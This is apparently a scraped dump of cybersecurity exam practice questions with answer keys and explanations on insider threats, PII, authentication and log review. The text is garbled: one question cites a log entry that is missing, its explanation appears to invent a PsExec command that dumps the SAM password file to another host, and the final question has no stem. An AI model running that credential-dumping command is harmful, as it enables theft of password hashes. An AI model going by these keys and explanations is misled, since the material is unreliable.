NEW QUESTION # 65
Which of the following should a database administrator for an analytics firm implement to best protect PII from an insider threat?
- A. Data deidentification
- B. Data auditing
- C. Data encryption
- D. Data minimization
Answer: B
Explanation:
Data auditing is the most essential and effective method to protect PII from an insider threat. Data auditing is the process of monitoring and recording the activities and events related to data access and usage. Data auditing can help detect and prevent any suspicious or anomalous behavior by an insider threat who tries to access or manipulate PII.
Data auditing can provide several benefits for data protection, such as:
It can provide accountability and transparency for data access and usage, which can deter potential insider threats from abusing their privileges or violating policies.
It can provide evidence and traceability for data incidents, which can help investigate and respond to data breaches or leaks by insider threats.
It can provide feedback and insights for data security improvement, which can help identify and address any gaps or weaknesses in data protection measures.
Data auditing can be done by using tools such as logs, alerts, reports, or dashboards. These tools can help security analysts track and analyze data activity and identify any patterns or anomalies that indicate a possible insider threat.
NEW QUESTION # 66
While reviewing system logs, a network administrator discovers the following entry:
Which of the following occurred?
- A. An attempt was made to access a remote workstation.
- B. The PsExec services failed to execute.
- C. A user was trying to download a password file from a remote system.
- D. A remote shell failed to open.
Answer: C
Explanation:
The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command-line tool that allows users to execute processes on remote systems. The entry shows that the user "administrator" tried to run PsExec with the following parameters: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username "administrator" and password "P@ssw0rd", copy cmd.exe to the remote system, and execute it with the command "type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt". This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101.

NEW QUESTION # 67
Due to continued support of legacy applications, an organization's enterprise password complexity rules are inadequate for its required security posture. Which of the following is the BEST compensating control to help reduce authentication compromises?
- A. Biometrics
- B. Smart cards
- C. Increased password-rotation frequency
- D. Multifactor authentication
Answer: D
Explanation:
Multifactor authentication is a method of verifying a user's identity by requiring two or more pieces of evidence, such as something the user knows (e.g., password), something the user has (e.g., token), or something the user is (e.g., fingerprint). Multifactor authentication is the best compensating control to help reduce authentication compromises when the organization's enterprise password complexity rules are inadequate for its required security posture. Smart cards, biometrics, or increased password-rotation frequency are other possible controls, but they are not as effective or comprehensive as multifactor authentication.

A routine vulnerability scan detected a known vulnerability in a critical enterprise web application. Which of the following would be the BEST next step?
- A. Evaluate the risk and criticality to determine it further action is necessary
- B. Remove the application from production and Inform the users.
- C. Submit a change request to have the system patched
- D. Notify a manager of the breach and initiate emergency procedures.
Answer: A
Explanation:
A routine vulnerability scan is a process of identifying and assessing known vulnerabilities in a system or network using automated tools or software3 A vulnerability scan does not necessarily mean that there is an active threat or exploit on the system or network, but rather that there are potential weaknesses that could be exploited by attackers. The best next step after a routine vulnerability scan detected a known vulnerability in a critical enterprise web application is to evaluate the risk and criticality of the vulnerability, which means assessing the likelihood and impact of an exploit on the web application, and prioritizing the remediation actions based on the severity and urgency of the vulnerability.

- A. Analyze logs to determine if a user is consuming large amounts of bandwidth at odd hours ol the day
- B. Segment the network so workstations are segregated from servers and implement detailed logging on the jumpbox
- C. Place a text file named Passwords txt on the local file server and create a SIEM alert when the file is accessed
- D. Perform a review of all users with privileged access and monitor web activity logs from the organization's proxy
Answer: A
Explanation:
Analyzing logs is a technique that involves collecting and examining data from various sources, such as network devices, servers, applications, or security tools. Analyzing logs can help identify malicious insiders by detecting anomalous or suspicious activities or behaviors, such as consuming large amounts of bandwidth at odd hours of the day, which could indicate data exfiltration or unauthorized access attempts. Placing a text file named Passwords.txt on the local file server and creating a SIEM alert when the file is accessed, segmenting the network so workstations are segregated from servers and implementing detailed logging on the jumpbox, or performing a review of all users with privileged access and monitoring web activity logs from the organization's proxy are other possible techniques to identify malicious insiders, but they are not as effective or reliable as analyzing logs.
